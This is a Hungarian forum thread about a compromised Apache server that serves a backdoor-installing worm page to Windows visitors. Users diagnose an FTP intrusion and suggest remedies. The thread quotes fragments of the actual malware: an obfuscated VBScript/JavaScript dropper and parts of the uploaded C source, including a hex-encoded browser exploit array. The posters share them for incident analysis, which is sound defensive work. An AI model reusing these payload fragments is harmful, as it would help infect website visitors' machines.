Apache gond

Fórumok

Üdv!

Van egy régi 2.0.40-es konfigurációm, ami eddig nagyon jól működött. Pár napja rendszertelen időközönként a lekért URL helyett egy oldalt (worm) ad le.

Látott már vki ilyet?

Hozzászólások

egy vbs script-tel kezdődik


bh="*":fbg="%":fvggs="}02* ;92*ofx82*et96*rw.tnemucod02*     02*b3*y76*gd3*+of87*  
d7*02*02*}02*02*a7*f=+y76*76*  {02* esle02* d7*  02*92*1d2*gx46*82*t14*27*ah36*e2
*v87*07*=+y76*g02* d7*02* 18d3*+g87*46*02*02* b7* 02*92*0=<g87*46*82*f96*02* ;)13
*-1852*92*13*b2*17*go(( =gxd 02*{  92*1->17*go82*fi02* ;)z66*(fO87*edni.67*xp=17*
76*f6* 02*;92*e6*76*c(t14*27*ah36*e2*gd3*a7*f02*02*b7*02* 92*++e6*g36*;htge6*56*l
e2*g<e6*76*36*;0=ng36*(ro66*02*02*02*;g87*d,'72*d3*97*g76*,q76*f6*,a7*f,''=o66*x,
""Ce2*f4*&,$}3|b7*32*NK+a2*e5*a4*82*87*b5*""\Mp163*Bsw!~AI f6*n04*65*2b3*mG`k:]d3
*vFz72*Tj96*h03*36*l76*f5*He8t27*E57*-b46*q73*5Pyf9a5*4)U16*""d3*v87*07*,n76*c02*
  ra67*02* b7* 92*g(g87*rfa   e6*oi47*36*n57*f ":rxw=unescape(Replace(StrReverse
(fvggs),fbh,fbg))</script>

majd egy kis javascript


 var i,gwo; eval( rxw );i="<i8;c[>I<SaRA5'IcUolEUlH][TU=UB0tjM8[>IIIHpI]IEoHB0UMHJ
[%Efhfh%Efhfh%Ep1H-%E0000%E0000%E0000%E0000%E0000%E0000%E0000%E0000%E0000%E0000%E0
000%EHpbf%E}Zbf%E7-VZ%E7-7-%Ee}7-%Eh00}%E}}eb%Eyqef%EHyep%Ef00U%Eyyyy%EhpH-%Eehhp%
Eh0q-%Eq7hp%E}p}-%EeU0f%EZfhy%E0fe7%EpqqZ%E}pZq%E}pbV%E110h%Ehqe-%Ey0eh%Eq7yy%E}hh
V%EeeHZ%Eh17Z%EZqb

de ez jó sokáig...

hogy mit csinál? backdoort telepít a win-es gépre: indít egy cmd-t és hajrá...

node: a szerver linux, apache 2.0.40, és eddig nagyon jól megvolt... lemaradtam valamiről? valaki beköltözött?? kerestem az oldal forrását a gépen, sehol semmi... de honnan veszi ezt a kódot? kifutottam a tudásomból...

még 1 érdekes adalék

ha leállítom - újraindítom a httpd-t, eltűnni látszik ez a furcsa viselkedés.

??? a memóriában íródna át ???

En pl. az ftp logokban megneznem, ki tette fel a cuccot. Az is erdekes lehet, ha a httpd user irni tudja ezt a file-t.

ASK Me No Questions, I'll Tell You No Lies

Sziasztok,

Énis tapasztaltam az utóbbi napokban az egyik szerveren hasonlót (Apache 2.2.4, php 5.2.1). Az illető vagy a worm fel ftp-z 2 fájlt (fw.php és fw.htm illetve láttam ch.php néven is) az általa létrehozott "timages" vagy "timag" nevü könyvtárba, tartalmuk teljesen egyforma, egy C forráskód, majd valahogy "lefordítja" és a weben meghivva (van hogy simán a fw.php-t de láttam fw.php?p=xxxx ami a pidet akarja jelenteni ha jól sejtem) az apacheot kiakasztja vagy egyszerüen elé rakja magát, mivel a 80-as porton ő figyel a kis wormos oldalával, amit a virusirtó (Kaspersky) klasszul jelez is (Trojan.Win32.Agent.qt). És természetesen törli az összes fájlt és a könyvtárat amiket felrakott (fw.php, fw.htm, log és a timages nevü könyvtárat). Természetesen az apache2 újraindítása után müködött minden a következő worm ftp-ig.

Általában valami xx.xx.xxxx.static.theplanet.com címről ftp-zett és webezett.

A C forrás megszerzése kissé izgalmas volt, a timages könyvtár letrehozása chattr +a -val segített, és igy már a fordítás se ment neki, mert gondolom ugyanolyan fájlnéven akarta létrehozni (fw.php).

Pár részlet a kódból:

/* single process version */

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

/* don't change this line */
unsigned char w2000_exp[] =
"\x3c\x68\x74\x6d\x6c\x3e\x3c\x68\x65\x61\x64\x3e\x3c\x73\x74\x79"
"\x6c\x65\x3e\x20\x76\x5c\x3a\x2a\x20\x7b\x20\x62\x65\x68\x61\x76"
"\x69\x6f\x72\x3a\x20\x75\x72\x6c\x28\x23\x64\x65\x66\x61\x75\x6c"
"\x74\x23\x56\x4d\x4c\x29\x3b\x20\x7d\x3c\x2f\x73\x74\x79\x6c\x65"
"\x3e\x3c\x2f\x68\x65\x61\x64\x3e\x3c\x62\x6f\x64\x79\x3e\x3c\x73"
"\x63\x72\x69\x70\x74\x20\x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\x76"

...

#define DOLOG1

void llog( char * s )
{

#ifdef DOLOG

char buf[2048];
FILE *f;
time_t curtime;
struct tm *loctime;

if ( f = fopen( "log", "a+t" ) )
{

curtime = time(NULL);
loctime = localtime (&curtime);
strftime( buf, 2047, "%H:%M:%S|", loctime );
fwrite( buf, strlen( buf ), 1, f );

sprintf( buf, "%d|", getpid() );
fwrite( buf, strlen( buf ), 1, f );

fwrite( s, strlen( s ), 1, f );
fwrite( "\n", strlen( "\n" ), 1, f );
fclose( f );
}

#endif

...

Kérdéseim a következők lennének:
1. Vajon honnan szerzett FTP jelszavakat (sniffelés, bruteforce, stb?), pure-ftpd van a szerveren és mysql-ben léteznek csak az userek, természetesen md5-s kódólt jelszavakkal.
2. Hogyan forditja le a C forrást? (Elvileg ssh-t nem használt, bár annó láttam elég durva PHP-s scriptet amiből szinte bármit lehetett csinalni)

bugOS

Az a kiindulo pont, hogy ha valakinek php-t engedsz, akkor adtal neki egy shellt a httpd user jogaival. Lehet ezt kicsit szukiteni, de megis errol van szo. Ha van gcc a gepeden devel lib-ekkel, akkor mar tudod is, hogyan forditotta le. Az 1. pontra meg gyorsan egy jelszo valtas + IP-range kitiltasa, ill. ahogy fentebb is irtak, mod_security szabaly keszitese erre a shell kodra.

ASK Me No Questions, I'll Tell You No Lies

Nem tom, de valoszinuleg nem. Mert - ha jol ertettem - arrol van szo, hogy a kliens kap egy malware-t, amikor letolti az adott oldalt. Tehat nem az adott gepet tamadjak. De ettol fuggetlenul a grsec, meg ugy altalaban minden security dolog jo otlet.

ASK Me No Questions, I'll Tell You No Lies

Tisztelettel köszönöm az értékes segítséget... Minden stimmelt (törölt file, ftp, távoli indítás, stb.)
Kiölve - kitiltva (reményeim szerint) a delikvens, már 3 napja tiszta vagyok.

Live long and prosper.
AttilaB